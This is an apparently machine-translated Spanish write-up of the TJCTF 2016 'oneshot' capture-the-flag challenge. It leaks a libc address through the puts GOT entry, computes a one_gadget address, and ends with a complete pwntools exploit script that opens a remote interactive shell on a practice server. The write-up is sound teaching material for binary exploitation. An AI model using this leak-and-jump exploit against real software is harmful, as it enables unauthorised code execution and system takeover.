oneshot_tjctf_2016
paso
-
Inspección de rutina, programa de 64 bits, nx está activado
-
Pruébelo localmente para ver la situación general.
-
Carga ida de 64 bits
La 8ª línea del programa leerá el valor de la dirección correspondiente según la entrada de la 7ª línea, y la 10ª línea saltará a la dirección correspondiente de la entrada. -
La décima línea saltará de acuerdo con la dirección de entrada. Lo primero que me viene a la mente es dejarlo saltar para ejecutar el sistema ('/ bin / sh'), pero no hay una puerta trasera existente en el programa, así que pensé en probar para ver si se puede utilizar one_gadget.
-
Antes de eso, primero debemos conocer el desplazamiento en el programa. Según el análisis anterior, la línea 8 leerá el valor de la dirección correspondiente en base a la entrada de la línea 7. Podemos usar put @ got para filtrar libc en este punto, de modo que podamos calcular el offset del programa.
elf = ELF('./oneshot_tjctf_2016')
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('value:')
pause()
Después de obtener la dirección de la función de venta, se puede calcular el desplazamiento y se puede calcular la dirección de one_gadget en el programa.
libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]
Listo, solo ingrese la dirección de one_gadget en el punto de entrada en la línea 10, intente uno por uno con 4. Afortunadamente, el primero está bien.
Exp completa
from pwn import *
from LibcSearcher import *
context.log_level ='debug'
elf = ELF('./oneshot_tjctf_2016')
#p = process('./oneshot_tjctf_2016')
p = remote('node3.buuoj.cn',25203)
libc = ELF('./libc-2.23-64.so')
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('0x')
#pause()
puts_addr = int(p.recvuntil('\n'),16)
print hex(puts_addr)
#pause()
libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]
p.sendline(str(onegadget))
p.interactive()